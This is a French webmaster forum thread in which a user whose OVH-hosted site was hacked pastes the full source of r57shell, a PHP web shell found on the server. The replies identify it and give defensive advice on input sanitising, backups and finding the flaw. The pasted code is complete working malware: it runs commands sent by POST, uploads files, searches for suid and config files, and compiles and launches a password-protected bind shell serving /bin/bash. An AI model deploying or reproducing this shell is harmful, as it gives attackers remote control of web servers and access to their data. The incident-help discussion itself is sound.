J'ai été hacké ... :-(

WRInaute occasionnel
Bonjour à tous,

J'ai eu une mauvaise surprise en rentrant de New York, mon site s'est fait hacké par une team "TSG"

J'ai remis tous les fichiers mais mon site est inacessible. Je suis hébergé chez ovh, que faire ?

TSG.jpg
 
WRInaute discret
As tu essayé de contacter le support OVH. Ils sont normalement assez rapide à répondre.
Si tu ne l'as pas fait, fait le, ce sont encore eux qui sont les plus à même de t'expliquer où est le probléme.
Si oui, que t'on t'ils répondu ?

Nico
 
WRInaute occasionnel
Est-ce que quelqu'un pourrait également examiner cette page qui était sur le site ?

<?
/******************************************************************************************************/
/*
/* __________ ___ ___
/* \______ \__ __ ______/ | \
/* | _/ | \/ ___/ _ \
/* | | \ | /\___ \\ /
/* |____|_ /____//____ >\___|_ /
/* -======\/==security=\/=team==\/
/*
/*
/*
/* r57shell.php - ñêðèïò íà ïõï ïîçâîëÿþùèé âàì âûïîëíÿòü øåëë êîìàíäû íà ñåðâåðå ÷åðåç áðàóçåð
/* Âû ìîæåòå ñêà÷àòü íîâóþ âåðñèþ íà íàøåì ñàéòå: http://rst.void.ru èëè www.rsteam.ru
/* Âåðñèÿ: 1.0ñ îò 16.03.2004
/*
/* Âîçìîæíîñòè:
/* ~ çàùèòà ñêðèïòà ñ ïîìîùüþ ïàðîëÿ
/* ~ âûïîëíåíèå øåëë-êîìàíä
/* ~ çàãðóçêà ôàéëîâ íà ñåðâåð
/* ~ ïîääåðæèâàåò àëèàñû êîìàíä
/* ~ âêëþ÷åíû 4 àëèàñà êîìàíä:
/* - ïîèñê íà ñåðâåðå âñåõ ôàéëîâ ñ suid áèòîì
/* - ïîèñê íà ñåðâåðå âñåõ ôàéëîâ ñ sgid áèòîì
/* - ïîèñê íà ñåðâåðå ôàéëîâ config.inc.php
/* - ïîèñê íà ñåðâåðå âñåõ äèðåêòîðèé è ôàéëîâ äîñòóïíûõ íà çàïèñü äëÿ âñåõ
/* ~ äâà ÿçûêà èíòåðôåéñà: ðóññêèé, àíãëèéñêèé
/* ~ âîçìîæíîñòü çàáèíäèòü /bin/bash íà îïðåäåëåííûé ïîðò
/*
/* Îòëè÷èÿ îò âåðñèè 1.0 beta:
/* - Èñïðàâëåíû íåñêîëüêî ìåëêèõ íåäî÷åòîâ.
/*
/* 16.03.2004 (c) RusH security team
/*
/******************************************************************************************************/



/*
Âûáîð ÿçûêà
$language='ru' - ðóññêèé
$language='eng' - àíãëèéñêèé
*/

$language='eng';

$lang=array(
'ru_text1' => 'Âûïîëíåííàÿ êîìàíäà',
'ru_text2' => 'Âûïîëíåíèå êîìàíä íà ñåðâåðå',
'ru_text3' => 'Âûïîëíèòü êîìàíäó',
'ru_text4' => 'Ðàáî÷àÿ äèðåêòîðèÿ',
'ru_text5' => 'Çàãðóçêà ôàéëîâ íà ñåðâåð',
'ru_text6' => 'Ëîêàëüíûé ôàéë',
'ru_text7' => 'Àëèàñû',
'ru_text8' => 'Âûáåðèòå àëèàñ',
'ru_butt1' => 'Âûïîëíèòü',
'ru_butt2' => 'Çàãðóçèòü',
'ru_text9' => 'Îòêðûòèå ïîðòà è ïðèâÿçêà åãî ê /bin/bash',
'ru_text10' => 'Îòêðûòü ïîðò',
'ru_text11' => 'Ïàðîëü äëÿ äîñòóïà',
'ru_butt3' => 'Îòêðûòü',

'eng_text1' => 'Executed command',
'eng_text2' => 'Execute command on server',
'eng_text3' => '&nbsp;Run command',
'eng_text4' => 'Work directory',
'eng_text5' => 'Upload files on server',
'eng_text6' => 'Local file',
'eng_text7' => 'Aliases',
'eng_text8' => 'Select alias',
'eng_butt1' => 'Execute',
'eng_butt2' => 'Upload',
'eng_text9' => 'Bind port to /bin/bash',
'eng_text10' => 'Port',
'eng_text11' => 'Password for access',
'eng_butt3' => 'Bind'
);



/*
Àëèàñû êîìàíä
Ïîçâîëÿþò èçáåæàòü ìíîãîêðàòíîãî íàáîðà îäíèõ è òåõ-æå êîìàíä. ( Ñäåëàíî áëàãîäàðÿ ìîåé ïðèðîäíîé ëåíè )
Âû ìîæåòå ñàìè äîáàâëÿòü èëè èçìåíÿòü êîìàíäû.
*/

$aliases=array(
/* ïîèñê íà ñåðâåðå âñåõ ôàéëîâ ñ suid áèòîì */
'find all suid files' => 'find / -type f -perm -04000 -ls',

/* ïîèñê íà ñåðâåðå âñåõ ôàéëîâ ñ sgid áèòîì */
'find all sgid files' => 'find / -type f -perm -02000 -ls',

/* ïîèñê íà ñåðâåðå ôàéëîâ config.inc.php */
'find config.inc.php files' => 'find / -type f -name config.inc.php',

/* ïîèñê íà ñåðâåðå âñåõ äèðåêòîðèé è ôàéëîâ äîñòóïíûõ íà çàïèñü äëÿ âñåõ */
'find writable directories and files' => 'find / -perm -2 -ls',
'----------------------------------------------------------------------------------------------------' => 'ls -la'
);

/* Port bind source */
$port_bind_bd_c="
#include <stdio.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <errno.h>
int main(argc,argv)
int argc;
char **argv;
{
int sockfd, newfd;
char buf[30];
struct sockaddr_in remote;
if(argc < 3) usage(argv[0]);
if(fork() == 0) { // Îòâåòâëÿåì íîâûé ïðîöåññ
remote.sin_family = AF_INET;
remote.sin_port = htons(atoi(argv[1]));
remote.sin_addr.s_addr = htonl(INADDR_ANY);
sockfd = socket(AF_INET,SOCK_STREAM,0);
if(!sockfd) perror(\"socket error\");
bind(sockfd, (struct sockaddr *)&remote, 0x10);
listen(sockfd, 5);
while(1)
{
newfd=accept(sockfd,0,0);
dup2(newfd,0);
dup2(newfd,1);
dup2(newfd,2);
write(newfd,\"Password:\",10);
read(newfd,buf,sizeof(buf));
if (!chpass(argv[2],buf))
system(\"echo welcome to r57 shell && /bin/bash -i\");
else
fprintf(stderr,\"Sorry\");
close(newfd);
}
}
}
int usage(char *progname)
{
fprintf(stderr,\"USAGE:%s <port num> <password>\\n\",progname);
exit(0);
}
int chpass(char *base, char *entered) {
int i;
for(i=0;i<strlen(entered);i++)
{
if(entered == '\\n')
entered = '\\0';
}
if (!strcmp(base,entered))
return 0;
}";

?>
<!-- Çäðàâñòâóé Âàñÿ -->
<html>
<head>
<title>r57shell</title>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251">
<STYLE>
tr {
BORDER-RIGHT: #aaaaaa 1px solid;
BORDER-TOP: #eeeeee 1px solid;
BORDER-LEFT: #eeeeee 1px solid;
BORDER-BOTTOM: #aaaaaa 1px solid;
}
td {
BORDER-RIGHT: #aaaaaa 1px solid;
BORDER-TOP: #eeeeee 1px solid;
BORDER-LEFT: #eeeeee 1px solid;
BORDER-BOTTOM: #aaaaaa 1px solid;
}
table {
BORDER-RIGHT: #eeeeee 2px outset;
BORDER-TOP: #eeeeee 2px outset;
BORDER-LEFT: #eeeeee 2px outset;
BORDER-BOTTOM: #eeeeee 2px outset;
BACKGROUND-COLOR: #D4D0C8;
}
input {
BORDER-RIGHT: #ffffff 1px solid;
BORDER-TOP: #999999 1px solid;
BORDER-LEFT: #999999 1px solid;
BORDER-BOTTOM: #ffffff 1px solid;
BACKGROUND-COLOR: #e4e0d8;
font: 8pt Verdana;
}
select {
BORDER-RIGHT: #ffffff 1px solid;
BORDER-TOP: #999999 1px solid;
BORDER-LEFT: #999999 1px solid;
BORDER-BOTTOM: #ffffff 1px solid;
BACKGROUND-COLOR: #e4e0d8;
font: 8pt Verdana;
}
submit {
BORDER-RIGHT: buttonhighlight 2px outset;
BORDER-TOP: buttonhighlight 2px outset;
BORDER-LEFT: buttonhighlight 2px outset;
BORDER-BOTTOM: buttonhighlight 2px outset;
BACKGROUND-COLOR: #e4e0d8;
width: 30%;
}
textarea {
BORDER-RIGHT: #ffffff 1px solid;
BORDER-TOP: #999999 1px solid;
BORDER-LEFT: #999999 1px solid;
BORDER-BOTTOM: #ffffff 1px solid;
BACKGROUND-COLOR: #e4e0d8;
font: Fixedsys bold;

}
BODY {
margin-top: 1px;
margin-right: 1px;
margin-bottom: 1px;
margin-left: 1px;
}
A:link {COLOR:red; TEXT-DECORATION: none}
A:visited { COLOR:red; TEXT-DECORATION: none}
A:active {COLOR:red; TEXT-DECORATION: none}
A:hover {color:blue;TEXT-DECORATION: none}
</STYLE>

</head>
<body bgcolor="#e4e0d8">
<table width=100%cellpadding=0 cellspacing=0 bgcolor=#000000>
<tr><td bgcolor=#cccccc>
<!-- logo -->
<font face=Verdana size=2>&nbsp;&nbsp;
<font face=Webdings size=6><b>!</b></font><b>&nbsp;&nbsp;r57shell</b>
</font>
</td></tr><table>
<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000>
<tr><td align=right width=100>
<?
/* change dir */
if (($_POST['dir']!=="") AND ($_POST['dir'])) { chdir($_POST['dir']); }
/* display information */
echo "<font face=Verdana size=-2>";
echo "<font color=blue><b>uname -a :&nbsp;<br>id :&nbsp;<br>pwd :&nbsp;</b></font><br>";
echo "</td><td>";
echo "<font face=Verdana size=-2 color=red><b>";
echo "&nbsp;&nbsp;&nbsp; ".exec("uname -a")."<br>";
echo "&nbsp;&nbsp;&nbsp; ".exec("id")."<br>";
echo "&nbsp;&nbsp;&nbsp; ".exec("pwd")."";
echo "</b></font>";
echo "</font>";
?>
</td></tr></table>
<?
/* port bind */
if (($_POST['bind']) AND ($_POST['bind']=="bd.c") AND ($_POST['port']) AND ($_POST['bind_pass']))
{
$w_file=fopen("/tmp/bd.c","ab+") or exit();
fputs($w_file,$port_bind_bd_c);
fclose($w_file);
$blah=exec("gcc -o /tmp/bd /tmp/bd.c");
$bind_string="/tmp/bd ".$_POST['port']." ".$_POST['bind_pass']."";
$blah=exec($bind_string);
$_POST['cmd']="ps -aux | grep bd";
}
?>
<?
/* alias execute */
if (($_POST['alias']) AND ($_POST['alias']!==""))
{
foreach ($aliases as $alias_name=>$alias_cmd) {
if ($_POST['alias'] == $alias_name) {$_POST['cmd']=$alias_cmd;}
}
}
?>
<?
/* file upload */
if (($HTTP_POST_FILES["userfile"]!=="") AND ($HTTP_POST_FILES["userfile"]))
{
copy($HTTP_POST_FILES["userfile"][tmp_name],
$_POST['dir']."/".$HTTP_POST_FILES["userfile"][name])
or print("<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><td><tr><font color=red face=Fixedsys><div align=center>Error uploading file ".$HTTP_POST_FILES["userfile"][name]."</div></font></td></tr></table>");
}
?>
<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000>
<tr><td bgcolor=#cccccc>
<?
/* command execute */
if ((!$_POST['cmd']) || ($_POST['cmd']=="")) { $_POST['cmd']="ls -la"; }
echo "<font face=Verdana size=-2>".$lang[$language._text1].": <b>".$_POST['cmd']."</b></font></td></tr><tr><td>";
echo "<b>";
echo "<div align=center><textarea name=report cols=122 rows=15>";
echo "".passthru($_POST['cmd'])."";
echo "</textarea></div>";
echo "</b>";
?>
</td></tr></table>
<table width=100% heigth=0 cellpadding=0 cellspacing=0 bgcolor=#000000>
<tr><td bgcolor=#cccccc><font face=Verdana size=-2><b><div align=center>:: <? echo $lang[$language._text2]; ?> ::</div></b></font></td></tr>
<tr><td height=23>
<?
/* command execute form */
echo "<form name=command method=post>";
echo "<font face=Verdana size=-2>";
echo "<b>&nbsp;".$lang[$language._text3]." <font face=Wingdings color=gray>è</font>&nbsp;&nbsp;&nbsp;&nbsp;</b>";
echo "<input type=text name=cmd size=85>&nbsp;&nbsp;<br>";
echo "<b>&nbsp;".$lang[$language._text4]." <font face=Wingdings color=gray>è</font>&nbsp;&nbsp;&nbsp;&nbsp;</b>";
if ((!$_POST['dir']) OR ($_POST['dir']=="")) { echo "<input type=text name=dir size=85 value=".exec("pwd").">"; }
else { echo "<input type=text name=dir size=85 value=".$_POST['dir'].">"; }
echo "&nbsp;&nbsp;<input type=submit name=submit value=\" ".$lang[$language._butt1]." \">";
echo "</font>";
echo "</form>";
?>
</td></tr></table>
<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000>
<tr><td bgcolor=#cccccc><font face=Verdana size=-2><b><div align=center>:: <? echo $lang[$language._text5]; ?> ::</div></b></font></td></tr>
<tr><td>
<?
/* file upload form */
echo "<form name=upload method=POST ENCTYPE=multipart/form-data>";
echo "<font face=Verdana size=-2>";
echo "<b>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;".$lang[$language._text6]." <font face=Wingdings color=gray>è</font>&nbsp;&nbsp;&nbsp;&nbsp;</b>";
echo "<input type=file name=userfile size=85>&nbsp;";
if ((!$_POST['dir']) OR ($_POST['dir']=="")) { echo "<input type=hidden name=dir size=85 value=".exec("pwd").">"; }
else { echo "<input type=hidden name=dir size=85 value=".$_POST['dir'].">"; }
echo "<input type=submit name=submit value=\" ".$lang[$language._butt2]." \">";
echo "</font>";
echo "</form>";
?>
</td></tr></table>
<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000>
<tr><td bgcolor=#cccccc><font face=Verdana size=-2><b><div align=center>:: <? echo $lang[$language._text7]; ?> ::</div></b></font></td></tr>
<tr><td>
<?
/* aliases form */
echo "<form name=aliases method=POST>";
echo "<font face=Verdana size=-2>";
echo "<b>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;".$lang[$language._text8]." <font face=Wingdings color=gray>è</font>&nbsp;&nbsp;&nbsp;&nbsp;</b>";
echo "<select name=alias>";
foreach ($aliases as $alias_name=>$alias_cmd)
{
echo "<option>$alias_name</option>";
}
echo "</select>";
if ((!$_POST['dir']) OR ($_POST['dir']=="")) { echo "<input type=hidden name=dir size=85 value=".exec("pwd").">"; }
else { echo "<input type=hidden name=dir size=85 value=".$_POST['dir'].">"; }
echo "&nbsp;&nbsp;<input type=submit name=submit value=\" ".$lang[$language._butt1]." \">";
echo "</font>";
echo "</form>";
?>
</td></tr></table>


<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000>
<tr><td bgcolor=#cccccc><font face=Verdana size=-2><b><div align=center>:: <? echo $lang[$language._text9]; ?> ::</div></b></font></td></tr>
<tr><td>
<?
/* port bind form */
echo "<form name=bind method=POST>";
echo "<font face=Verdana size=-2>";
echo "<b>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;".$lang[$language._text10]." <font face=Wingdings color=gray>è</font>&nbsp;&nbsp;&nbsp;&nbsp;</b>";
echo "<input type=text name=port size=15 value=11457>&nbsp;";
echo "<b>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;".$lang[$language._text11]." <font face=Wingdings color=gray>è</font>&nbsp;&nbsp;&nbsp;&nbsp;</b>";
echo "<input type=text name=bind_pass size=15 value=r57>&nbsp;";
if ((!$_POST['dir']) OR ($_POST['dir']=="")) { echo "<input type=hidden name=dir size=85 value=".exec("pwd").">"; }
else { echo "<input type=hidden name=dir size=85 value=".$_POST['dir'].">"; }
echo "<input type=hidden name=bind size=1 value=bd.c>";
echo "&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=submit name=submit value=\" ".$lang[$language._butt3]." \">";
echo "</font>";
echo "</form>";
?>
</td></tr></table>




<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000>
<tr><td bgcolor=#cccccc>
<?
echo "<div align=center><font face=Verdana size=-2><b>o---[ r57shell - http-shell by RusH security team | <a href=http://rst.void.ru>http://rst.void.ru</a> | version 1.0 beta ]---o</b></font></div>";
?>
</td></tr></table>

<!-- don't delete this plz -->
<script language="javascript">
hotlog_js="1.0";
hotlog_r=""+Math.random()+"&s=81606&im=1&r="+escape(document.referrer)+"&pg="+
escape(window.location.href);
document.cookie="hotlog=1; path=/"; hotlog_r+="&c="+(document.cookie?"Y":"N");
</script><script language="javascript1.1">
hotlog_js="1.1";hotlog_r+="&j="+(navigator.javaEnabled()?"Y":"N")</script>
<script language="javascript1.2">
hotlog_js="1.2";
hotlog_r+="&wh="+screen.width+'x'+screen.height+"&px="+
(((navigator.appName.substring(0,3)=="Mic"))?
screen.colorDepth:screen.pixelDepth)</script>
<script language="javascript1.3">hotlog_js="1.3"</script>
<script language="javascript">hotlog_r+="&js="+hotlog_js;
document.write("<a href='http://click.hotlog.ru/?81606' target='_top'><img "+
" src='http://hit4.hotlog.ru/cgi-bin/hotlog/count?"+
hotlog_r+"&' border=0 width=1 height=1 alt=1></a>")</script>
<noscript><a href=http://click.hotlog.ru/?81606 target=_top><img
src="http://hit4.hotlog.ru/cgi-bin/hotlog/count?s=81606&im=1" border=0
width="1" height="1" alt="HotLog"></a></noscript>
<!-- /don't delete this plz -->



<? /* -------------------------[ EOF ]------------------------- */ ?>
 
WRInaute occasionnel
240 GP. Je vais les contacter mais comme je suis aux USA jusqu'au 18, je n'ai plus les accès au manager. J'aurai normalement les codes dans quelques heures quand une autre personne se connectera. Je changerai alors le mot de passe ftp et je contacterai ovh mais s'il a réussi une fois, il réussira surement une seconde fois.

Je n'avais rien en php à part une page de contact et un forum phpbb
 
WRInaute impliqué
Ton code que tu présentes semble etre un shell, qui a du etre injecte quelque part en utilisant une faille sur ton site.
 
WRInaute accro
J'ai eu un hack ya pas longtemps sur un 60GP... ils étaient entrer par un script de soumissions de photo mal sécurisé et avait pu envoyer un programme dans le répertoire des photos...
Ils leur suffisaient ensuite de lancer le programme en rentrant le chemin sur le navigateur pour faire ce qu'ils voulaient.

OVH fait un chmod sur les sites hackés... si tu as nettoyé tes répertoires et retirés les scripts douteux... regarde les droits sur le répertoire principal de ton site... s'ils ne sont pas en 644 ou 755... fait un chmod 755 pour permettre la lecture
 
WRInaute impliqué
cyberghostjp a dit:
Bonjour à tous,

J'ai eu une mauvaise surprise en rentrant de New York, mon site s'est fait hacké par une team "TSG"

J'ai remis tous les fichiers mais mon site est inacessible. Je suis hébergé chez ovh, que faire ?

Si tu t'es fait hacké parce qu'un script est mal sécurisé, pas la peine de remettre les fichiers, surtout après avoir posté sur un forum.

Autant faire passer une petite annonce.

La procédure est d'identifier le script incriminé, le corriger et ensuite remettre en ligne.
 
WRInaute impliqué
Quel manque de professionnalisme, tout webmaster qui se respecte doit connaître les bases de la sécurité informatique et se tenir au courant des dernières failles sur BugtraQ !

Pour ce qui est des bases, documentez vous sur :

SQL Injection
CSS/XSS (Cross site scripting)
Faille Include
Faille URLdecode

Bonne chance à tous, si vous voulez une expertise de votre code ca peut se négocier contre un ou plusieurs BLs selon la quantité de code à analyser :p
 
WRInaute impliqué
Tiens, quelqu'un connait des exemples d'injection SQL, dans un formulaire par exemple....
Si c'est un script PHP au bout, et que le serveur a les magic_quotes=on...
Toutes les tentatives echouent chez moi , puisque les quotes sont automatiquement placées....

J'aimerai savoir s'il existe d'autre cas/exemples, car à priori, je n'ai pas détecté de failles dans mon code.... :o
Tous les exemples que j'ai pu inventer ou trouver sur Internet, echouent grace aux magic_quotes :o
 
WRInaute impliqué
Les magic quotes protègent très bien des injections SQL "alpha" étant donné qu'en injectant des chiffres dans des variables numériques on pourra pas détourner une requête.

Cependant je conseille 2 choses en plus :

- Désactivez le débugage détaillé des erreurs.
- Utilisez des noms de tables atypiques

Sait on jamais :lol:
 
WRInaute occasionnel
Quel manque de professionnalisme

Bah .... oui, excuse moi, j'ai 20 ans, je fais ce site pour un ami ... j'ai mes études, ma petite amie et mes pages étaient à priori en html ... à part pour le forum phpbb que je viens d'installer ...

On peut pas être parfait partout
 
WRInaute accro
cyberghostjp a dit:
Quel manque de professionnalisme

Bah .... oui, excuse moi, j'ai 20 ans, je fais ce site pour un ami ... j'ai mes études, ma petite amie et mes pages étaient à priori en html ... à part pour le forum phpbb que je viens d'installer ...

On peut pas être parfait partout

Je pense que n'importe quel site peut se faire hacké... même en faisant preuve de "professionalisme"... il y a certes des scripts plus "hackables" que d'autres... mais si on consulte la liste des failles des programmes qui tournent sur un serveur... on n'a plus qu'a passer son temps à patcher :roll:
 
WRInaute occasionnel
moi je me suis fait hacké aussi. J'était chez OVH également, et les hackeurs sont entrés grace à une faille include.
J'ai du lire tous mes fichiers de log pour retrouver leur manip. J'avais éffectivement laissé cette faille de débutant. OVH ne m'a apporté aucun secours. Quand ca se passe bien, ils repondent vite, mais au moindre problème, je trouve qu'ils ne deviennent plus tres professionnel.

Bref, heureusement, les hackeurs étaient gentils. Ils n'ont rien éffacé. Juste remplacé ma page d'accueil. J'ai quand même porté plainte pour la forme, en donnant toutes leurs adresses IP utilisées.
Ca renvoyait en chine, en italie et dans des pays exotiques. Au final, ca n'a jamais rien donné, car les préjudices envers mon site n'étaient pas assez importants pour le deploiement de moyens que cela aurait representé pour les retrouver.

Une chose est sûr, maintenant, je fais tres attention à mon code qd je programme, et je ne me dit plus "je vois pas qui aurait interet à hacker un pauvre site comme le mien" !! ;-)

Pour ceux que ca interesse, j'ai completement décortiqué leur méthode, et il faut se dire, que des robots scrutent le web en permanence pour essayer de détecter des failles. Ces robots tournent en général sur des sites eux-même hackés pour brouiller les pistes et pour qu'on ne puisse pas remonter jusqu'aux hackeurs. Dès qu'une faille est détéctée, on est référencé dans un fichier, et ensuite la manipulation est manuelle. (pour moi en tous les cas)
Dites vous que votre site est épluché de fond en comble, que tous les paramètres de vos moindres pages web sont modifiés et remplacés par des valeurs qui peuvent faire planter un site ou engendrer de graves disfonctionnements. Il vaut donc mieux le savoir....
 
WRInaute impliqué
moi je me suis fait hacké aussi. J'était chez OVH également
Les serveur OVH sont souvent des passoires (on y sous-estime les erreurs des webmasters). Sur ces serveurs - en tout cas quelques uns, lorsqu'il y a une faille sur un site, elle donne acces a tout le serveur...

Pour ceux que ca interesse, j'ai completement décortiqué leur méthode
Il s'agit plutot de leurs methodes... :)

des robots scrutent le web en permanence pour essayer de détecter des faille
Vrai

Ces robots tournent en général sur des sites eux-même hacké
Re Vrai :)

Outre le fait de programmer proprement (je suis comme tout le monde, j'en fais des erreurs), je vous invite fortement a:
- Parser toutes les variables en entrees
Code:
// SCAN et NETTOYAGE des variables en reception REQUEST
if (is_array($_REQUEST)) {
  while (list ($k,$v) = each ($_REQUEST)) {
    $v = @mon_nettoyage($v);
    ${$k}=$v ;
  }
}
- Parser tous les ordres sql
- prevoir un envoi de mail lors d'erreurs sql avec l'ordre sql, la page en cause et le code d'erreur.
Code:
$result = @mysql_query($monsql) or die (alerte_mail($monsql));

L'evolution et l'imagination etant sans limites, la base est de se tenir informe et en alerte.

Le dernier point (envoi de mail lors d'erreurs sql) pouvant s'averer etre un outil tres utile. Ainsi, lorsque quelqu'un vous titille le site, vous etes averti et cette agression se transforme en ... auto formation :wink:
 
WRInaute occasionnel
L'envoi d'un mail lors d'une erreur SQL est en effet un bon moyen de prévenir des attaque mais ATTENTION !!! :

Si jamais le serveur Sql est indisponible pour une raison quelconque chez votre hebergeur (et ca arrive plus souvent qu'on ne le crois...) Cette fonction d'alerte va vite se transformer en mail-bomber sur votre propre boite au lettre :?

c'est a considérer lorsqu'on va coder cette fonction...
 
WRInaute impliqué
Si jamais le serveur Sql est indisponible pour une raison quelconque
Oui mais... Si il y a le serveur sql HS, la connexion a la base a echouee et en principe on le gere: on ne devrait meme pas essayer de passer des requettes dans ce cas la.

Enfin, comme le je rabache souvent, il faut aussi avoir un code propre :)
 
WRInaute accro
Citation:
Quel manque de professionnalisme


Bah .... oui, excuse moi, j'ai 20 ans, je fais ce site pour un ami ... j'ai mes études, ma petite amie et mes pages étaient à priori en html ... à part pour le forum phpbb que je viens d'installer ...

On peut pas être parfait partout

Si ça peut te rassurer même le pentagone ils se sont fait hackés :wink: Ah aussi ils se sont fait indexer des documents confidentiels en pdf par google :lol: Pourtant c'est des pros hein :wink:
 
WRInaute occasionnel
Bah t'inquiète, j'ai pas mal pris sa remarque.

C'est juste que personne n'est à l'abris contrairement à ce que l'on croit et que le jour où ca lui arrivera il aura l'air moins malin.

Parce que pensez quo'n peut être plus fort qu'eux ... :roll: . Ils ont souvent une longueur d'avance (pour les bons hackeurs)
 
WRInaute impliqué
Kali a dit:
La meilleure parade contre les hackers, est la sauvegarde régulière !
c'est vrai mais ils peuvent prendre toutes les informations qui se trouve sur ton site ce qui n'est pas toujours chouette :evil: :evil: :evil:
 
WRInaute occasionnel
Il n'y a pas grand chose à faire ... si ce n'est sauvegarder, ce que j'avais fait 4 ou 5 jours avant l'attaque. Il n'ont pas touché à la bdd ... heureusement pour mon forum.

Ils avaient supprimé tous les fichiers "uniquement"
 

➡️ Offre MyRankingMetrics ⬅️

pré-audit SEO gratuit avec RM Tech (+ avis d'expert)
coaching offert aux clients (avec Olivier Duffez ou Fabien Faceries)

Voir les détails ici

coaching SEO
Discussions similaires
Haut